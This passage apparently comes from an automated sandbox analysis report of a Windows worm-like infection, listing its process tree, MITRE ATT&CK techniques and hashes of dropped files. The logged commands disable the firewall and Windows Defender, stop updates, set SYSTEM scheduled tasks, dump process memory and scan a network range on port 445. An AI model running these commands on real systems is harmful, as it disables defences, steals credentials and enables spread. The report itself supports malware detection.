    schtasks /create /sc minute /mo 1 /tn "whinbeufb" /ru system /tr "cmd /c echo Y|cacls C:\Windows\ihguignb\aginbln.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1472
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bltebicig" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\zfdehzegb\unzsbd.exe /p everyone:F"
  2⤵
  PID:3960
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3240
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "bltebicig" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\zfdehzegb\unzsbd.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:4576
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3340
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4016
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2244
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4436
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:5108
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4560
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3864
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3056
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3296
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:4872
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2832
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:3464
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1096
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3992
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:884
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  - System Location Discovery: System Language Discovery
  PID:3116
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    PID:2572
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 780 C:\Windows\TEMP\wcbiqigng\780.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:5092
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4944
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:2732
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2292
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4460
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:860
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4924
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    - System Location Discovery: System Language Discovery
    PID:468
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      PID:4252
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  PID:3060
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:4516
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:4564
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2308
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4492
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:984
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:8
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  PID:864
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:4520
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2496
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:2340
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:1600
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 388 C:\Windows\TEMP\wcbiqigng\388.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1852
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 2020 C:\Windows\TEMP\wcbiqigng\2020.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:752
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 2356 C:\Windows\TEMP\wcbiqigng\2356.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4940
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 2944 C:\Windows\TEMP\wcbiqigng\2944.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4632
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 3000 C:\Windows\TEMP\wcbiqigng\3000.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4856
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 3080 C:\Windows\TEMP\wcbiqigng\3080.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2596
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 3848 C:\Windows\TEMP\wcbiqigng\3848.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2004
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 3940 C:\Windows\TEMP\wcbiqigng\3940.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3508
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 4008 C:\Windows\TEMP\wcbiqigng\4008.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4524
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 4092 C:\Windows\TEMP\wcbiqigng\4092.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2700
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 3184 C:\Windows\TEMP\wcbiqigng\3184.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1600
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 2344 C:\Windows\TEMP\wcbiqigng\2344.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1976
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 4624 C:\Windows\TEMP\wcbiqigng\4624.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3056
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 1860 C:\Windows\TEMP\wcbiqigng\1860.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:4928
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 3696 C:\Windows\TEMP\wcbiqigng\3696.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2116
- C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe
  C:\Windows\TEMP\wcbiqigng\fmiclltfn.exe -accepteula -mp 2232 C:\Windows\TEMP\wcbiqigng\2232.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1152
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\wcbiqigng\imbbbzfne\scan.bat
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1792
- - C:\Windows\wcbiqigng\imbbbzfne\uedzbgtiz.exe
    uedzbgtiz.exe TCP 194.110.0.1 194.110.255.255 445 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:1656

C:\Windows\SysWOW64\skakke.exe
C:\Windows\SysWOW64\skakke.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2416

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ihguignb\aginbln.exe /p everyone:F
1⤵
PID:4368
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:8
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\ihguignb\aginbln.exe /p everyone:F
  2⤵
  PID:3576

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\aginbln.exe
1⤵
PID:4016
- C:\Windows\ime\aginbln.exe
  C:\Windows\ime\aginbln.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2956

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\zfdehzegb\unzsbd.exe /p everyone:F
1⤵
PID:4304
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:1700
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\zfdehzegb\unzsbd.exe /p everyone:F
  2⤵
  PID:1624

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\ihguignb\aginbln.exe /p everyone:F
1⤵
PID:2216
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4548
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\ihguignb\aginbln.exe /p everyone:F
  2⤵
  PID:4160

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c C:\Windows\ime\aginbln.exe
1⤵
PID:4132
- C:\Windows\ime\aginbln.exe
  C:\Windows\ime\aginbln.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:2292

C:\Windows\system32\cmd.EXE
C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\zfdehzegb\unzsbd.exe /p everyone:F
1⤵
PID:448
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
  2⤵
  PID:4536
- C:\Windows\system32\cacls.exe
  cacls C:\Windows\TEMP\zfdehzegb\unzsbd.exe /p everyone:F
  2⤵
  PID:5784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\wcbiqigng\2020.dmp

Filesize
4.1MB

MD5
106d09d3bc1ef514a3fd49605c58e3af

SHA1
c43189bbcc03a97228c2a4cf4335d6d6f4acc979

SHA256
4d2848fc030b947396009be475123d17f80ef5a8bd00535e8c09c111f43db20b

SHA512
153a8487c2c90ad5f480dceeb126a760bbea14ea7168b24824b95eabc66fa864807f30b59c6a21237a1237fcc047f34dc14015b2b751f5d39dc9bccc764ebc09

Download Submit
C:\Windows\TEMP\wcbiqigng\2344.dmp

Filesize
26.0MB

MD5
da79c957451c6c38694a5daf71a58cf4

SHA1
2f15cee2b6817b03df95bf3c5525aa7e19e15085

SHA256
3307bd20a8c4afa2984209477bba4efbbf0aff492dd069e520566c250dcf461a

SHA512
a17e14adad7c4e2cd333a6e613f292e49518fecd58b5eff4a23e36104d307c579eb15af42b8fcad386f9a8d4d364294328828f26ef9cd3257895215b3d6ef488

Download Submit
C:\Windows\TEMP\wcbiqigng\2356.dmp

Filesize
7.6MB

MD5
0b406f95671af42f1f4066f3bfa9053d

SHA1
36a297f24600bec49078b94ba1b28026afc35e51

SHA256
2c2a6bddc0351d40d51eb3423245cd40e01ca6d263e205775836f2b9203433c1

SHA512
a69833dbb7e4cd8a3467db05e6afbbc297a8c8606f4069f5f79b9ea46f1eb95bba26921cc34025def024da7bec676cf2feabc110aaa4f67699e5b1aebda6d368

Download Submit
C:\Windows\TEMP\wcbiqigng\2944.dmp

Filesize
3.7MB

MD5
0ec770a0cc6578dba4cf5bce0a43e00c

SHA1
7e8413c3537777366c5fd9657023fcf30021b697

SHA256
1c9ac9193365d2fb1b20029f12ebda5f2e4bfc05bed2e6ce2307153c1bc4eeb9

SHA512
d7607c6b0a718f22b6cdd892b213dabe896d6bcfa6ff491952daa61de01fd597935c553f63314b66f39fe3e7b392ddf53cc8525cfc60c5eda781219d750aa9d2

Download Submit
C:\Windows\TEMP\wcbiqigng\3000.dmp

Filesize
806KB

MD5
7f90e571fcb55a70b39b022228bf30d8

SHA1
c6aed7e673bb0bee7f25c8b0ef9bf65ecd7040a5

SHA256
8501cebec1d999aa4766c0b0c4aa5cf065f858df2ff4b0eaab5d1c446cfb9960

SHA512
f42c0df2f43979dacb0734d90d1e9262b2242b2bd64141100e0ae022147660b63335d843963c07145e48cc4cfc6bc4f0e3bd2ba46e0b3430d14ef530627bda2e

Download Submit
C:\Windows\TEMP\wcbiqigng\3080.dmp

Filesize
3.1MB

MD5
f25d0bf52ab9a30df546af85d602d586

SHA1
263459fc9546e10afc9a9b8f57cff9c139ba6e72

SHA256
84805867033f18b075fef885b8d5e209067401df8a70245f4ad1b45ca0c5c698

SHA512
acc5877896173c6522d5dd74e1be4e8afd56222b9b3019a6dbef2c6ba15079ace3e7990877bd273b37fd4b4f51c4310687491b9f0eeb43173a1cd4eef0985163

Download Submit
C:\Windows\TEMP\wcbiqigng\3184.dmp

Filesize
1.2MB

MD5
352f3d42bcd9b1e6136318894398ec79

SHA1
a3c85070ce1f18e3af1737a1fddeab1919ba06ca

SHA256
f8b70985e7b183132d0068507bf69349cb18049d56643b87fbad3c823da99c14

SHA512
ce4ab03296beecdce077ce52f92cfebf7617127bb34aea672137388288771bc0d93c28379b2925d1a97f68b873c31c67dfbf30f6ed5da16810dd8973c4b6e10c

Download Submit
C:\Windows\TEMP\wcbiqigng\3848.dmp

Filesize
2.3MB

MD5
8e0729055f9e58318c94196fd5ca01ab

SHA1
c78951d6de2d678a93d69cdd937155b91392679d

SHA256
1f0ba41ed46d2f9865a7f22f80a7ed4f9c0f8fd3aecbf712cbfac65dedfadf3a

SHA512
046420d5f6e37ab5c8e1e9d4abab82b1e294bc1df8ec5cd6aadbbea2efc344eaf92cf6ed024ac01b7fb7ce6ff7c0528eccf52cfeb8784f11b07fbf0b0627f873

Download Submit
C:\Windows\TEMP\wcbiqigng\388.dmp

Filesize
33.0MB

MD5
d2c4ed31023e87c6cd9e535cc814ccfb

SHA1
c07be4ef00e6d1541afc36b189db1ec8bd6600a1

SHA256
bcbda44bff95b4d191f575a54a1649b19dc7328e3211af9604b38db2f9069741

SHA512
60c599ff152f53e8795d342c5800d1538771cab94716ef119b13fd4e1ea0be94554fb2ebf16804c815a578f160cfe64bdc7e50af396590f04f63b8319e0c5df8

Download Submit
C:\Windows\TEMP\wcbiqigng\3940.dmp

Filesize
21.1MB

MD5
3b1b325b233126e764c98f20b99f9e19

SHA1
71948f18f6f5c7bb3c9d01904f6ebd257e9a6d8d

SHA256
56b45f820f12d248802d6fc7aff448fe9e93150ed920427540d457b80735c16e

SHA512
d2c8d66cb3f6b48be74cf5c35532186328d7204cc4103300df316964f177d69256b5dea8b208672d76bd70996d9e7e4aba55fd785235599eb6d9cf015adf7e42

Download Submit
C:\Windows\TEMP\wcbiqigng\4008.dmp

Filesize
4.2MB

MD5
c98c0c10f80729369495c419c60189f0

SHA1
feab9da352ec7a364a5dac86b7cfeb2d193c93c9

SHA256
d868fa7839961fc897232941b2b918e1667bff311c96264c0505e7824ccf120b

SHA512
d78638a360e088695be7eb2e750b6a614375b902196b30d6e7f19bef417458b5970aba483e00f9825db79318bca27fbb46306d950d1a4b3a81332fa550ce5154

Download Submit
C:\Windows\TEMP\wcbiqigng\4092.dmp

Filesize
44.2MB

MD5
63429ae92d83932036a82fce695d9ac4

SHA1
38d921363bf98495d019aa4ce96d5051e05bc0ba

SHA256
11b087f96b3446bb5fa60dbf3c749985daedc7e99cb9812a7b3d4697e018b31a

SHA512
c7d31c1f2cc022d83b6bae202a01ef3908aec4607efb0199c489f9b5f19abaf5a51de7b1646910b5b326356894dfb694690d2a9f70a9435a0f5a0870fd7c9f88

Download Submit
C:\Windows\TEMP\wcbiqigng\4624.dmp

Filesize
8.7MB

MD5
cc8d1b1f638b9b8be886b54bdea1e603

SHA1
d9fe6b66472dda03464f286c8f374854b5104f4c

SHA256
ba4d02199cffa4eed362a8753a21306a242d578c44cbbba0eddab0f29ea89bba

SHA512
54bfc025f7d9433fbdb396c4c56aeef7e45f20b278969131e5e8cb199e28e7b4944dc4d95a52c1365122696213ad1b3a7768c2f59c7ab587466eeceba832ebbf

Download Submit
C:\Windows\TEMP\wcbiqigng\780.dmp

Filesize
1019KB

MD5
4f899425fe30071db491defd32d73f83

SHA1
0d11c12fe03583de6d3ac867411c8ece86b5e4eb

SHA256
9070bc941ada98360a680be5e523d23f85162a6c731cd8d6af4af84f33368ae0

SHA512
1b52d713b1f5adb6d461e01aceac926d58fa59d0a7d7f581ffd4386fa485d62073ff205ecb84e7e7178a2a88002b61448c8b0d3f2442af730499d889be5ce16d

Download Submit
C:\Windows\TEMP\zfdehzegb\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\Temp\nsd3403.tmp\System.dll

Filesize
11KB

MD5
2ae993a2ffec0c137eb51c8832691bcb

SHA1
98e0b37b7c14890f8a599f35678af5e9435906e1

SHA256
681382f3134de5c6272a49dd13651c8c201b89c247b471191496e7335702fa59

SHA512
2501371eb09c01746119305ba080f3b8c41e64535ff09cee4f51322530366d0bd5322ea5290a466356598027e6cda8ab360caef62dcaf560d630742e2dd9bcd9

Download Submit
C:\Windows\Temp\nsd3403.tmp\nsExec.dll

Filesize
6KB

MD5
b648c78981c02c434d6a04d4422a6198

SHA1
74d99eed1eae76c7f43454c01cdb7030e5772fc2

SHA256
3e3d516d4f28948a474704d5dc9907dbe39e3b3f98e7299f536337278c59c5c9

SHA512
219c88c0ef9fd6e3be34c56d8458443e695badd27861d74c486143306a94b8318e6593bf4da81421e88e4539b238557dd4fe1f5bedf3ecec59727917099e90d2

Download Submit
C:\Windows\Temp\wcbiqigng\fmiclltfn.exe

Filesize
126KB

MD5
e8d45731654929413d79b3818d6a5011

SHA1
23579d9ca707d9e00eb62fa501e0a8016db63c7e

SHA256
a26ae467f7b6f4bb23d117ca1e1795203821ca31ce6a765da9713698215ae9af

SHA512
df6bcdc59be84290f9ecb9fa0703a3053498f49f63d695584ffe595a88c014f4acf4864e1be0adf74531f62ce695be66b28cfd1b98e527ab639483802b5a37a6

Download Submit
C:\Windows\Temp\xohudmc.exe

Filesize
72KB

MD5
cbefa7108d0cf4186cdf3a82d6db80cd

SHA1
73aeaf73ddd694f99ccbcff13bd788bb77f223db

SHA256
7c65ffc83dbbbd1ec932550ea765031af6e48c6b5b622fc2076c41b8abb0fcb9

SHA512
b89b6d9c77c839d0d411d9abf2127b632547476c2272219d46ba12832d5a1dab98f4010738969e905e4d791b41596473397cf73db5da43ecab23486e33b0e1d1

Download Submit
C:\Windows\Temp\zfdehzegb\unzsbd.exe

Filesize
343KB

MD5
2b4ac7b362261cb3f6f9583751708064

SHA1
b93693b19ebc99da8a007fed1a45c01c5071fb7f

SHA256
a5a0268c15e00692a08af62e99347f6e37ee189e9db3925ebf60835e67aa7d23

SHA512
c154d2c6e809b0b48cc2529ea5745dc4fc3ddd82f8f9d0f7f827ff5590868c560d7bec42636cb61e27cc1c9b4ac2499d3657262826bbe0baa50f66b40e28b616

Download Submit
C:\Windows\ihguignb\aginbln.exe

Filesize
9.5MB

MD5
1d5ac746d5e227e960766cf524ab439f

SHA1
cb8d783ad5c88609c659dc2d8ff5eb0d3df947e2

SHA256
aed8ad02060b288fe1fb3131a95751a10e073b584323bc265465a7a081efeae5

SHA512
a6300b7131de196b3e9b61f9f1a563787c52aa3ab41b30501945ffd590fcea1cf4ee4c8d98fd4fa44210bb4384d5aede495702c573425ab48cb63f986ea90677

Download Submit
C:\Windows\system32\drivers\etc\hosts

Filesize
1KB

MD5
c838e174298c403c2bbdf3cb4bdbb597

SHA1
70eeb7dfad9488f14351415800e67454e2b4b95b

SHA256
1891edcf077aa8ed62393138f16e445ef4290a866bccdbb7e2d7529034a66e53

SHA512
c53a52b74d19274c20dece44f46c5d9f37cd0ec28cf39cac8b26ba59712f789c14d1b10b7f5b0efdf7ce3211dda0107792cc42503faa82cb13ffae979d49d376

Download Submit
C:\Windows\wcbiqigng\Corporate\vfshost.exe

Filesize
381KB

MD5
fd5efccde59e94eec8bb2735aa577b2b

SHA1
51aaa248dc819d37f8b8e3213c5bdafc321a8412

SHA256
441430308fa25ec04fd913666f5e0748fdb10743984656d55acc26542e5fff45

SHA512
74a7eebdee9d25a306be83cb3568622ea9c1b557a8fbb86945331209bdc884e48113c3d01aac5347d88b8d2f786f8929aa6bb55d80516f3b4f9cc0f18362e8e3

Download Submit
C:\Windows\wcbiqigng\imbbbzfne\nhkqndyng.exe

Filesize
332KB

MD5
ea774c81fe7b5d9708caa278cf3f3c68

SHA1
fc09f3b838289271a0e744412f5f6f3d9cf26cee

SHA256
4883500a1bdb7ca43749635749f6a0ec0750909743bde3a2bc1bfc09d088ca38

SHA512
7cfde964c1c62759e3ba53c47495839e307ba0419d740fcacbeda1956dcee3b51b3cf39e6891120c72d0aae48e3ea1019c385eb5006061ced89f33b15faa8acb

Download Submit
C:\Windows\wcbiqigng\imbbbzfne\wpcap.exe

Filesize
424KB

MD5
e9c001647c67e12666f27f9984778ad6

SHA1
51961af0a52a2cc3ff2c4149f8d7011490051977

SHA256
7ec51f4041f887ba1d4241054f3be8b5068291902bada033081eff7144ec6a6d

SHA512
56f0cff114def2aeda0c2c8bd9b3abcacef906187a253ea4d943b3f1e1ca52c452d82851348883288467a8c9a09d014910c062325964bcfe9618d7b58056e1fe

Download Submit
memory/748-8-0x0000000000400000-0x0000000000A9B000-memory.dmp

Filesize
6.6MB

Download
memory/752-174-0x00007FF689120000-0x00007FF68917B000-memory.dmp

Filesize
364KB

Download
